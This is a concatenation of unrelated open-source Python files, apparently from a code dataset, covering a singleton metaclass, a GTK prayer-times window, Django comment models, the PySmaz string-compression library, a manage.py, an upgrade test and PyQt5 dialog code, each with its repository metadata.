# # Copyright (C) 2009 Juan Pedro Bolivar Puente, Alberto Villegas Erce # # This file is part of Pidgeoncide. # # Pidgeoncide is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # Pidgeoncide is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # class Singleton (type): def __init__ (cls, name, bases, dct): cls.__instance = None type.__init__(cls, name, bases, dct) def __call__ (cls, *args, **kw): if cls.__instance is None: cls.__instance = type.__call__(cls, *args,**kw) return cls.__instance
arximboldi/pigeoncide
src/base/singleton.py
Python
gpl-3.0
1,072
#!/usr/bin/env python # Copyright 2012 Cory Koch # # This file is part of PrayerTimes. # # PrayerTimes is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # PrayerTimes is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with PrayerTimes. If not, see <http://www.gnu.org/licenses/>. # # ******************************************************************** import gtk import prayertimes class Prayertimes_gui (gtk.Window): def __init__(self): gtk.Window.__init__(self) self.set_title("Prayer Times") self.connect("delete-event", self.delete_event) #create a virtical box to hold some widgets vbox = gtk.VBox(False) #create a label to say *something* and add to the vbox date = prayertimes.get_date() prayer_times = '\n'.join(self.display_prayer_times()) date_lbl = gtk.Label(date) prayer_lbl = gtk.Label(prayer_times) vbox.pack_start(date_lbl) vbox.pack_start(prayer_lbl) #make a quit button quitbutton = gtk.Button("Quit") quitbutton.connect("clicked",self.quit) #add the quitbutton to the vbox vbox.pack_start(quitbutton) #add the vbox to the Window self.add(vbox) #show all of the stuff self.show_all() #make a status icon self.statusicon = gtk.status_icon_new_from_file("minbar.svg") self.statusicon.connect('activate', self.status_clicked ) #self.statusicon.connect('activate', self.show_hide ) self.statusicon.set_tooltip("minimize") #start the gtk main loop gtk.main() def quit(self,button): #quit the gtk main loop gtk.main_quit() def delete_event(self,window,event): #don't delete; hide instead self.hide_on_delete() times = '\n'.join(self.display_prayer_times()) self.statusicon.set_tooltip(times ) return True def status_clicked(self,status): #unhide the window self.show_all() self.statusicon.set_tooltip("minimize") def display_prayer_times(self): prayer_times = [] prayer_times = prayertimes.get_prayer_times() return prayer_times def show_hide(self, *args): """ Toggles main windows visibility """ if not self.window.get_property('visible'): self.show_all() self.statusicon.set_tooltip("minimize") else: self.hide_all() if __name__=="__main__": win = Prayertimes_gui()
ckoch786/PrayerTimes
src/prayertimes_gui.py
Python
gpl-3.0
3,016
#!/usr/bin/env python # -*- coding: UTF-8 -*- # # Copyright 2010-2013 Código Sur Sociedad Civil. # All rights reserved. # # This file is part of Cyclope. # # Cyclope is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Cyclope is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from django.db import models from django.conf import settings from django.core.urlresolvers import reverse from django.db.models.signals import post_save from django.utils.translation import ugettext_lazy as _ from django.core.mail import send_mass_mail from django.contrib.comments.managers import CommentManager from threadedcomments import ThreadedComment from cyclope.utils import mail_managers class CustomComment(ThreadedComment): subscribe = models.BooleanField(default=False) objects = CommentManager() def save(self, send_notifications=True, *args, **kwargs): created = not self.pk super(CustomComment, self).save(*args, **kwargs) if created and notification_enabled() and send_notifications: self.send_email_notifications() def send_email_notifications(self): subject = _("New comment posted on '%s'") % self.content_object message = self.get_as_text() managers_message = message if moderation_enabled(): url = "http://%s%s" % (self.site.domain, reverse('comments-approve', args=(self.id,))) managers_message = _("This comment is moderated!\nYou may approve it " \ "on the following url: %s\n\n") % url + message mail_managers(subject, managers_message, fail_silently=True) # Send mail to suscribed users of the tree path comments = CustomComment.objects.filter(id=self.root_path, subscribe=True) if comments: messages = [(subject, message, settings.DEFAULT_FROM_EMAIL, [comment.userinfo["email"]]) for comment in comments] send_mass_mail(messages, fail_silently=True) class Meta: verbose_name = _("comment") verbose_name_plural = _("comments") def moderation_enabled(): from cyclope.utils import get_singleton # Fixme: move out of SiteSettings from cyclope.models import SiteSettings return get_singleton(SiteSettings).moderate_comments def notification_enabled(): from cyclope.utils import get_singleton # Fixme: move out of SiteSettings from cyclope.models import SiteSettings return get_singleton(SiteSettings).enable_comments_notifications def comments_allowed(): from cyclope.utils import get_singleton # Fixme: move out of SiteSettings from cyclope.models import SiteSettings return get_singleton(SiteSettings).allow_comments
MauHernandez/cyclope
cyclope/apps/custom_comments/models.py
Python
gpl-3.0
3,255
#!/usr/bin/env python # coding=utf-8 """ PySmaz a Python port of the SMAZ short string text compression library. Python port by Max Smith Smaz by Salvatore Sanfilippo BSD license per original C implementation at https://github.com/antirez/smaz Except for text samples which are in the public domain and from: The ACT Corpus -------------- http://compression.ca/act/act-files.html Jeff Gilchrist The Canterbury Corpus --------------------- http://corpus.canterbury.ac.nz/ Maintained by: Dr. Tim Bell, Matt Powell, Joffre Horlor, Ross Arnold NUS SMS Corpus -------------- http://wing.comp.nus.edu.sg:8080/SMSCorpus/overview.jsp Tao Chen and Min-Yen Kan (2012). Creating a Live, Public Short Message Service Corpus: The NUS SMS Corpus. Language Resources and Evaluation. Aug 2012. [doi:10.1007/s10579-012-9197-9] Leeds Collection of Internet Corpora ------------------------------------ http://corpus.leeds.ac.uk/internet.html Serge Sharoff Usage ----- from lib.smaz import compress, decompress compressedData = compress('Hello World!') decompressedData = decompress(compressedData) Versions ======== 1.0.0 - original release (dict based tree structure) 1.0.1 - throughput improvements approx 10% A Few Notes on the Python Port ------------------------------ PySmaz is Python 2.x and PyPy (and mostly 3.x) compatible. I've tested with the latest versions, if you do find an issue with an earlier version, please let me know, and I'll address it. The original C implementation used a table approach, along with some hashing to select the right entry. My first attempt used the original C-style approach and barely hit 170k/sec on CPython and a i7. The trie based approach gets closer to one megabyte per second on the same setup. The difference is performance is largely due to the inner loop not always checking 7 characters per character - i.e. O(7n) vs O(n). I've tried to balance readability with performance, hopefully it's clear what's going on. Decompression performance is limited by the single byte approach, and reaches 4.0 megabytes per second. To squeeze more performance it might be worth considering a multi-byte table for decoding. After eliminating the O(n^2) string appends, PyPy performance is very impressive. How should you use it ? SMAZ works best on small ASCII English strings up to about 100 bytes. Beyond that length it is outperformed by entropy coders (bz2,zlib). Its throughput on small strings is approximately equal to bz2 and zlib, due to the high fixed cost per call to the codec. STRINGS 1 to 8 bytes -------------------- SMAZ(CPython) SMAZ(PyPy) bz2 zlib Comp throughput 0.5 mb/s 4.0 mb/s 0.2 mb/s 0.43 mb/s Decomp throughput 1.4 mb/s 14.0 mb/s 0.5 mb/s 2.6 mb/s On larger strings the relative advantages drop away, and the entropy coders are a better bet. Interestingly SMAZ isn't too far off bz2... but zlib crushes it. 5 MEGABYTE STRING ----------------- SMAZ(CPython) SMAZ(PyPy) bz2 zlib Comp throughput 0.9 mb/s 2.0 mb/s 2.0 mb/s 74.0 mb/s Decomp throughput 4.0 mb/s 19.5 mb/s 30.3 mb/s 454.6 mb/s Compression varies but a reduction to 60% of the original size is pretty typical. Here are some results from some common text compression corpuses, the text messages and the urls individually encoded are pretty strong. Everything else is dire. COMPRESSION RESULTS ------------------- Original SMAZ (b'track) bz2 zlib SMAZ-classic SMAZ-classic pathological NUS SMS Messages 2666533 1851173 4106666 2667754 1876762 1864025 alice29.txt 148481 91958 43102 53408 92405 asyoulik.txt 125179 83762 39569 48778 84707 cp.html 24603 19210 7624 7940 19413 fields.c 11150 9511 3039 3115 10281 grammar.lsp 3721 3284 1283 1222 3547 lcet10.txt 419235 252085 107648 142604 254131 plrabn12.txt 471162 283407 145545 193162 283515 ACT corpus (concat) 4802130 3349766 1096139 1556366 3450138 Leeds URL corpus 4629439 3454264 7246436 5011830 3528446 3527606 If you have a use-case where you need to keep an enormous amount of small (separate) strings that isn't going to be limited by PySmaz's throughput, then congratulations ! The unit tests explore PySmaz's performance against a series of common compressible strings. You'll notice it does very well against bz2 and zlib on English text, URLs and paths. In the Moby Dick sample SMAZ is best out to 54 characters (see unit test) and is often number one on larger samples out to hundreds of bytes. The first paragraph of Moby Dick as an example, SMAZ leads until 914 bytes of text have passed ! On non-English strings (numbers, symbols, nonsense) it still does better with everything under 10 bytes (see unit test) And ignoring big wins for zlib like repeating sub-strings, out to 20 bytes it is dominant. This is mostly thanks to the pathological case detection and backtracking in the compress routine. Backtracking buys modest improvements to larger strings (1%) and deals with pathological sub-strings, again - you are better off using zlib for strings longer than 100 bytes in most cases. BACKGROUND ---------- From the original description: SMAZ - compression for very small strings ----------------------------------------- Smaz is a simple compression library suitable for compressing very short strings. General purpose compression libraries will build the state needed for compressing data dynamically, in order to be able to compress every kind of data. This is a very good idea, but not for a specific problem: compressing small strings will not work. Smaz instead is not good for compressing general purpose data, but can compress text by 40-50% in the average case (works better with English), and is able to perform a bit of compression for HTML and urls as well. The important point is that Smaz is able to compress even strings of two or three bytes! For example the string "the" is compressed into a single byte. To compare this with other libraries, think that like zlib will usually not be able to compress text shorter than 100 bytes. COMPRESSION EXAMPLES -------------------- 'This is a small string' compressed by 50% 'foobar' compressed by 34% 'the end' compressed by 58% 'not-a-g00d-Exampl333' enlarged by 15% 'Smaz is a simple compression library' compressed by 39% 'Nothing is more difficult, and therefore more precious, than to be able to decide' compressed by 49% 'this is an example of what works very well with smaz' compressed by 49% '1000 numbers 2000 will 10 20 30 compress very little' compressed by 10% In general, lowercase English will work very well. It will suck with a lot of numbers inside the strings. Other languages are compressed pretty well too, the following is Italian, not very similar to English but still compressible by smaz: 'Nel mezzo del cammin di nostra vita, mi ritrovai in una selva oscura' compressed by 33% 'Mi illumino di immenso' compressed by 37% 'L'autore di questa libreria vive in Sicilia' compressed by 28% It can compress URLS pretty well: 'http://google.com' compressed by 59% 'http://programming.reddit.com' compressed by 52% 'http://github.com/antirez/smaz/tree/master' compressed by 46% CREDITS ------- Small was written by Salvatore Sanfilippo and is released under the BSD license. See __License__ section for more information """ __author__ = "Salvatore Sanfilippo and Max Smith" __copyright__ = "Copyright 2006-2014 Max Smith, Salvatore Sanfilippo" __credits__ = ["Max Smith", "Salvatore Sanfilippo"] __license__ = """ BSD License Copyright (c) 2006-2009, Salvatore Sanfilippo Copyright (c) 2014, Max Smith All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Smaz nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ __version__ = "1.0.1" __maintainer__ = "Max Smith" __email__ = None # Sorry, I get far too much spam as it is. Track me down at http://www.notonbluray.com try: # noinspection PyShadowingBuiltins xrange = range # Fix for python 3 compatibility. except NameError: pass BACKTRACK_LIMIT = 254 # No point backtracking more than 255 characters def make_trie(decode_table): """ Create a trie representing the encoding strategy implied by the passed table. For each string in the table, assign it an encoded value, walk through the string creating a node for each character at a position (if none already exists), and when we reach the end of the string populate that node with the assigned encoded value. :param decode_table: list """ empty_node = list(None for _ in range(0, 256)) root_node = list(empty_node) if not decode_table: raise ValueError('Empty data passed to make_tree') elif len(decode_table) > 254: raise ValueError('Too long list in make tree: %d' % len(decode_table)) else: for enc_byte, sstr in enumerate(decode_table): node_ptr = root_node for str_pos, ch in enumerate(sstr): if node_ptr[ord(ch)]: # If a child node exists for character terminal_byte, children = node_ptr[ord(ch)] if len(sstr) == str_pos + 1: # At the end ? if not terminal_byte: node_ptr[ord(ch)] = [chr(enc_byte), children] break else: raise ValueError('Unexpected terminal: duplicates in data (%s) (%s) (%s)' % (sstr, ch, node_ptr)) node_ptr = children else: # Create the child node if len(sstr) == str_pos + 1: # At the end ? node_ptr[ord(ch)] = [chr(enc_byte), list(empty_node)] else: node_ptr[ord(ch)] = [None, list(empty_node)] _, node_ptr = node_ptr[ord(ch)] # Now we've built the trie, we can optimize it a bit by replacing empty terminal nodes early with None stack = list(root_node) while stack: node_ptr = stack.pop() if node_ptr: _, children = node_ptr if children == empty_node: node_ptr[1] = None # Replace empty entries with None else: stack.extend(children) return root_node def make_tree(decode_table): """ Create a tree representing the encoding strategy implied by the passed table. For each string in the table, assign it an encoded value, walk through the string creating a node for each character at a position (if none already exists), and when we reach the end of the string populate that node with the assigned encoded value. :param decode_table: list """ root_node = {} if not decode_table: raise ValueError('Empty data passed to make_tree') elif len(decode_table) > 254: raise ValueError('Too long list in make tree: %d' % len(decode_table)) else: for enc_byte, sstr in enumerate(decode_table): node_ptr = root_node for str_pos, ch in enumerate(sstr): if node_ptr.get(ch): # If a child node exists for character terminal_byte, children = node_ptr.get(ch) if len(sstr) == str_pos + 1: # At the end ? if not terminal_byte: node_ptr[ch] = (chr(enc_byte), children) break else: raise ValueError('Unexpected terminal: duplicates in data (%s) (%s) (%s)' % (sstr, ch, node_ptr)) node_ptr = children else: # Create the child node if len(sstr) == str_pos + 1: # At the end ? node_ptr[ch] = (chr(enc_byte), {}) else: node_ptr[ch] = (None, {}) _, node_ptr = node_ptr[ch] return root_node # Can be up to 253 entries in this table. DECODE = [" ", "the", "e", "t", "a", "of", "o", "and", "i", "n", "s", "e ", "r", " th", " t", "in", "he", "th", "h", "he ", "to", "\r\n", "l", "s ", "d", " a", "an", "er", "c", " o", "d ", "on", " of", "re", "of ", "t ", ", ", "is", "u", "at", " ", "n ", "or", "which", "f", "m", "as", "it", "that", "\n", "was", "en", " ", " w", "es", " an", " i", "\r", "f ", "g", "p", "nd", " s", "nd ", "ed ", "w", "ed", "http://", "for", "te", "ing", "y ", "The", " c", "ti", "r ", "his", "st", " in", "ar", "nt", ",", " to", "y", "ng", " h", "with", "le", "al", "to ", "b", "ou", "be", "were", " b", "se", "o ", "ent", "ha", "ng ", "their", "\"", "hi", "from", " f", "in ", "de", "ion", "me", "v", ".", "ve", "all", "re ", "ri", "ro", "is ", "co", "f t", "are", "ea", ". ", "her", " m", "er ", " p", "es ", "by", "they", "di", "ra", "ic", "not", "s, ", "d t", "at ", "ce", "la", "h ", "ne", "as ", "tio", "on ", "n t", "io", "we", " a ", "om", ", a", "s o", "ur", "li", "ll", "ch", "had", "this", "e t", "g ", "e\r\n", " wh", "ere", " co", "e o", "a ", "us", " d", "ss", "\n\r\n", "\r\n\r", "=\"", " be", " e", "s a", "ma", "one", "t t", "or ", "but", "el", "so", "l ", "e s", "s,", "no", "ter", " wa", "iv", "ho", "e a", " r", "hat", "s t", "ns", "ch ", "wh", "tr", "ut", "/", "have", "ly ", "ta", " ha", " on", "tha", "-", " l", "ati", "en ", "pe", " re", "there", "ass", "si", " fo", "wa", "ec", "our", "who", "its", "z", "fo", "rs", ">", "ot", "un", "<", "im", "th ", "nc", "ate", "><", "ver", "ad", " we", "ly", "ee", " n", "id", " cl", "ac", "il", "</", "rt", " wi", "div", "e, ", " it", "whi", " ma", "ge", "x", "e c", "men", ".com"] # Can be regenerated with the below line SMAZ_TREE = make_trie(DECODE) def _check_ascii(sstr): """ Return True iff the passed string contains only ascii chars """ return all(ord(ch) < 128 for ch in sstr) def _encapsulate(input_str): """ There are some pathological cases, where it may be better to just encapsulate the string in 255 code chunks """ if not input_str: return input_str else: output = [] output_append = output.append output_extend = output.extend for chunk in (input_str[i:i+255] for i in range(0, len(input_str), 255)): if 1 == len(chunk): output_append(chr(254) + chunk) else: output_append(chr(255) + chr(len(chunk) - 1)) output_append(chunk) return "".join(output) def _encapsulate_list(input_list): """ There are some pathological cases, where it may be better to just encapsulate the string in 255 code chunks """ if not input_list: return input_list else: output = [] output_append = output.append output_extend = output.extend for chunk in (input_list[i:i+255] for i in range(0, len(input_list), 255)): if 1 == len(chunk): output_append(chr(254)) output_extend(chunk) else: output_extend((chr(255), chr(len(chunk) - 1))) output_extend(chunk) return output def _worst_size(str_len): """ Given a string length, what's the worst size that we should grow to """ if str_len == 0: return 0 elif str_len == 1: return 2 elif str_len % 255 in (0, 1): return (str_len / 255) * 2 + str_len + (str_len % 255) else: return ((str_len / 255) + 1) * 2 + str_len def compress_no_backtracking(input_str): """ As ccmpress, but with backtracking and pathological case detection, and ascii checking disabled """ return compress(input_str, check_ascii=False, backtracking=False, pathological_case_detection=False) def compress(input_str, check_ascii=True, raise_on_error=True, compression_tree=None, backtracking=True, pathological_case_detection=True, backtrack_limit=BACKTRACK_LIMIT): """ Compress the passed string using the SMAZ algorithm. Returns the encoded string. Performance is a O(N), but the constant will vary depending on the relationship between the compression tree and input_str, in particular the average depth explored/average characters per encoded symbol. :param input_str The ASCII str to be compressed :param check_ascii Check the input_str is ASCII before we encode it (default True) :param raise_on_error Throw a value type exception (default True) :param compression_tree: A tree represented as a dict of ascii char to tuple( encoded_byte, dict( ... ) ), that describes how to compress content. By default uses built in SMAZ tree. See also make_tree :param backtracking: Enable checking for poor performance of the standard algorithm, some performance impact True = better compression (1% on average), False = Higher throughput :param pathological_case_detection: A lighter version of backtracking to catch output growth beyond the simple worst case handling of encapsulation. You probably want this enabled. :param backtrack_limit: How many characters to look backwards for backtracking, defaults to 255 - setting it higher may achieve slightly higher compression ratios (0.1% on big strings) at the expense of much worse performance, particularly on random data. You probably want this left as default :type input_str: str :type check_ascii: bool :type raise_on_error: bool :type compression_tree: dict :type backtracking: bool :type pathological_case_detection: bool :rtype: str :return: The compressed input_str """ if not input_str: return input_str else: if check_ascii and not _check_ascii(input_str): if raise_on_error: raise ValueError('SMAZ can only process ASCII text.') else: return None # Invariants: terminal_tree_node = (None, None) compression_tree = compression_tree or SMAZ_TREE input_str_len = len(input_str) # Invariant: All of these arrays assume len(array) = number of bytes in array output = [] # Single bytes. Committed, non-back-track-able output unmatched = [] # Single bytes. Current pool for encapsulating (i.e. 255/254 + unmatched) backtrack_buff = [] # Single bytes. Encoded between last_backtrack_pos and pos (excl enc_buf and unmatched) enc_buf = [] # Single bytes. Encoded output for the current run of compression codes # Ugly but fast output_extend = output.extend last_backtrack_pos = pos = 0 while pos < input_str_len: tree_ptr = compression_tree enc_byte = None j = 0 while j < input_str_len - pos: # Search the tree for the longest matching sequence byte_val, tree_ptr = tree_ptr[ord(input_str[pos + j])] or terminal_tree_node j += 1 if byte_val is not None: enc_byte = byte_val # Remember this match, and search for a longer one enc_len = j if not tree_ptr: break # No more matching characters in the tree if enc_byte is None: unmatched.append(input_str[pos]) pos += 1 # We didn't match any stems, add the character the unmatched list # Backtracking - sometimes it makes sense to go back and not use a length one symbol between two runs of # raw text, since the cost of the context switch is 2 bytes. The following code looks backwards and # tries to judge if the mode switches left us better or worse off. If worse off, re-encode the text as # a raw text run. if len(enc_buf) > 0 or input_str_len == pos: # Mode switch ! or end of string merge_len = _worst_size(pos - last_backtrack_pos) unmerge_len = len(backtrack_buff) + len(enc_buf) + _worst_size(len(unmatched)) if merge_len > unmerge_len + 2 or pos - last_backtrack_pos > backtrack_limit or not backtracking: # Unmerge: gained at least 3 bytes through encoding, reset the backtrack marker to here output_extend(backtrack_buff) output_extend(enc_buf) backtrack_buff = [] last_backtrack_pos = pos - 1 elif merge_len < unmerge_len: # Merge: Mode switch doesn't make sense, don't move backtrack marker backtrack_buff = [] unmatched = list(input_str[last_backtrack_pos:pos]) else: # Gains are two bytes or less - don't move the backtrack marker till we have a clear gain backtrack_buff.extend(enc_buf) if input_str_len == pos: backtrack_buff.extend(_encapsulate_list(unmatched)) unmatched = [] enc_buf = [] else: # noinspection PyUnboundLocalVariable pos += enc_len # We did match in the tree, advance along, by the number of bytes matched enc_buf.append(enc_byte) if unmatched: # Entering an encoding run backtrack_buff.extend(_encapsulate_list(unmatched)) unmatched = [] output_extend(backtrack_buff) output_extend(_encapsulate_list(unmatched)) output_extend(enc_buf) # This may look a bit clunky, but it is worth 20% in cPython and O(n^2) -> O(n) in PyPy output = "".join(output) # Pathological case detection - Did we grow more than we would by encapsulating the string ? # There are some cases where backtracking doesn't work correctly, examples: # Y OF if pathological_case_detection: worst = _worst_size(input_str_len) if len(output) > worst: return _encapsulate(input_str) return output def compress_classic(input_str, pathological_case_detection=True): """ A trie version of the original SMAZ compressor, should give identical output to C version. Faster on typical material, but can be tripped up by pathological cases. :type input_str: str :type pathological_case_detection: bool :param input_str The string to be compressed :param pathological_case_detection Look for growth beyond the worst case of encapsulation and encapsulate default is True, you probably want this enabled. :rtype: str :return: The compressed input_str """ if not input_str: return input_str else: # Invariants: terminal_tree_node = (None, None) input_str_len = len(input_str) # Invariant: All of these arrays assume len(array) = number of bytes in array output = [] # Single bytes. Committed, non-back-track-able output unmatched = [] # Single bytes. Current pool for encapsulating (i.e. 255/254 + unmatched) # So this is ugly - but fast output_extend = output.extend output_append = output.append pos = 0 while pos < input_str_len: tree_ptr = SMAZ_TREE enc_byte = None j = 0 while j < input_str_len - pos: # Search the tree for the longest matching sequence byte_val, tree_ptr = tree_ptr[ord(input_str[pos + j])] or terminal_tree_node j += 1 if byte_val is not None: enc_byte = byte_val # Remember this match, and search for a longer one enc_len = j if not tree_ptr: break # No more matching characters in the tree if enc_byte is None: unmatched.append(input_str[pos]) pos += 1 # We didn't match any stems, add the character the unmatched list else: # noinspection PyUnboundLocalVariable pos += enc_len # We did match in the tree, advance along, by the number of bytes matched if unmatched: # Entering an encoding run output_extend(_encapsulate_list(unmatched)) unmatched = [] output_append(enc_byte) if unmatched: output_extend(_encapsulate_list(unmatched)) if pathological_case_detection and len(output) > _worst_size(input_str_len): return _encapsulate(input_str) else: return "".join(output) def decompress(input_str, raise_on_error=True, check_ascii=False, decompress_table=None): """ Returns decoded text from the input_str using the SMAZ algorithm by default :type input_str: str :type raise_on_error: bool :type check_ascii: bool :type decompress_table: list :param raise_on_error Throw an exception on any kind of decode error, if false, return None on error :param check_ascii Check that all output is ASCII. Will raise or return None depending on raise_on_error :param decompress_table Alternative 253 entry decode table, by default uses SMAZ :rtype: str :return: The decompressed input_str """ if not input_str: return input_str else: decompress_table = decompress_table or DECODE input_str_len = len(input_str) output = [] output_append = output.append pos = 0 try: while pos < input_str_len: ch = ord(input_str[pos]) pos += 1 if ch < 254: # Code table entry output_append(decompress_table[ch]) else: next_byte = input_str[pos] pos += 1 if 254 == ch: # Verbatim byte output_append(next_byte) else: # 255 == ch: # Verbatim string end_pos = pos + ord(next_byte) + 1 if end_pos > input_str_len: raise ValueError('Invalid input to decompress - buffer overflow') output_append(input_str[pos:end_pos]) pos = end_pos # This may look a bit clunky, but it is worth 20% in cPython and O(n^2)->O(n) in PyPy output = "".join(output) if check_ascii and not _check_ascii(output): raise ValueError('Invalid input to decompress - non-ascii byte payload') except (IndexError, ValueError) as e: if raise_on_error: raise ValueError(str(e)) else: return None return output
brianhouse/jute
smaz.py
Python
gpl-3.0
29,396
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hive_master.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
NeCTAR-RC/hive_master
manage.py
Python
gpl-3.0
254
"""Upgrade TestSuite for validating Satellite Content Views existence post upgrade :Requirement: Upgraded Satellite :CaseAutomation: Automated :CaseLevel: System :CaseComponent: ContentViews :TestType: nonfunctional :CaseImportance: High :SubType1: installability :Upstream: No """ import pytest from upgrade_tests.helpers.common import existence from upgrade_tests.helpers.existence import compare_postupgrade from upgrade_tests.helpers.existence import pytest_ids # Required Data component = 'contentview' cv_chosts = compare_postupgrade(component, 'content_host_count') # Tests @pytest.mark.parametrize("pre,post", cv_chosts, ids=pytest_ids(cv_chosts)) def test_positive_cv_by_chosts_count(pre, post): """Test Contents hosts association is retained with CVs post upgrade :id: upgrade-3bd14640-89c6-4463-af57-06b822c8eff6 :expectedresults: Content Hosts of all CVs should be retained post upgrade """ assert existence(pre, post)
SatelliteQE/satellite6-upgrade
upgrade_tests/test_existance_relations/api/test_contentviews.py
Python
gpl-3.0
973
####################################################################################################################### # Copyright (C) 2016 Regents of the University of California # # This is free software: you can redistribute it and/or modify it under the terms of the # GNU General Public License (GNU GPL) as published by the Free Software Foundation, either version 3 of the License, # or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # # A copy of the GNU General Public License can be found in LICENSE.TXT in the root of the source code repository. # Additionally, it can be found at http://www.gnu.org/licenses/. # # NOTES: Per GNU GPLv3 terms: # * This notice must be kept in this source file # * Changes to the source must be clearly noted with date & time of change # # If you use this software in a product, an explicit acknowledgment in the product documentation of the contribution # by Project IDA, Institute of Geophysics and Planetary Physics, UCSD would be appreciated but is not required. ####################################################################################################################### """GUI Python code auto-generated from Qt Creator *.ui files by PyQt pyuic utility.""" # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'progress_dlg.ui' # # Created by: PyQt5 UI code generator 5.6 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_ProgressDlg(object): def setupUi(self, ProgressDlg): ProgressDlg.setObjectName("ProgressDlg") ProgressDlg.resize(670, 400) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(ProgressDlg.sizePolicy().hasHeightForWidth()) ProgressDlg.setSizePolicy(sizePolicy) ProgressDlg.setMinimumSize(QtCore.QSize(670, 250)) ProgressDlg.setMaximumSize(QtCore.QSize(670, 400)) ProgressDlg.setSizeGripEnabled(False) ProgressDlg.setModal(True) self.groupBox = QtWidgets.QGroupBox(ProgressDlg) self.groupBox.setGeometry(QtCore.QRect(10, 10, 651, 341)) font = QtGui.QFont() font.setPointSize(16) font.setBold(True) font.setWeight(75) self.groupBox.setFont(font) self.groupBox.setObjectName("groupBox") self.calDescrLbl = QtWidgets.QLabel(self.groupBox) self.calDescrLbl.setGeometry(QtCore.QRect(20, 50, 611, 121)) font = QtGui.QFont() font.setFamily("PT Mono") font.setBold(True) font.setWeight(75) self.calDescrLbl.setFont(font) self.calDescrLbl.setStyleSheet("line-height: 150%") self.calDescrLbl.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop) self.calDescrLbl.setObjectName("calDescrLbl") self.maxLbl = QtWidgets.QLabel(self.groupBox) self.maxLbl.setGeometry(QtCore.QRect(468, 287, 161, 20)) font = QtGui.QFont() font.setPointSize(11) font.setBold(True) font.setWeight(75) self.maxLbl.setFont(font) self.maxLbl.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.maxLbl.setObjectName("maxLbl") self.progPB = QtWidgets.QProgressBar(self.groupBox) self.progPB.setGeometry(QtCore.QRect(20, 270, 611, 23)) self.progPB.setProperty("value", 24) self.progPB.setObjectName("progPB") self.minLbl = QtWidgets.QLabel(self.groupBox) self.minLbl.setGeometry(QtCore.QRect(20, 288, 71, 16)) font = QtGui.QFont() font.setPointSize(11) font.setBold(True) font.setWeight(75) self.minLbl.setFont(font) self.minLbl.setObjectName("minLbl") self.valLbl = QtWidgets.QLabel(self.groupBox) self.valLbl.setGeometry(QtCore.QRect(290, 289, 71, 16)) font = QtGui.QFont() font.setPointSize(11) font.setBold(True) font.setWeight(75) self.valLbl.setFont(font) self.valLbl.setAlignment(QtCore.Qt.AlignCenter) self.valLbl.setObjectName("valLbl") self.calWarningLbl = QtWidgets.QLabel(self.groupBox) self.calWarningLbl.setGeometry(QtCore.QRect(20, 190, 611, 61)) font = QtGui.QFont() font.setFamily("Consolas") font.setPointSize(14) font.setBold(True) font.setItalic(True) font.setWeight(75) self.calWarningLbl.setFont(font) self.calWarningLbl.setStyleSheet("color: red;\n" "line-height: 150%") self.calWarningLbl.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignHCenter) self.calWarningLbl.setWordWrap(True) self.calWarningLbl.setObjectName("calWarningLbl") self.cancelBtn = QtWidgets.QPushButton(ProgressDlg) self.cancelBtn.setGeometry(QtCore.QRect(550, 360, 115, 32)) 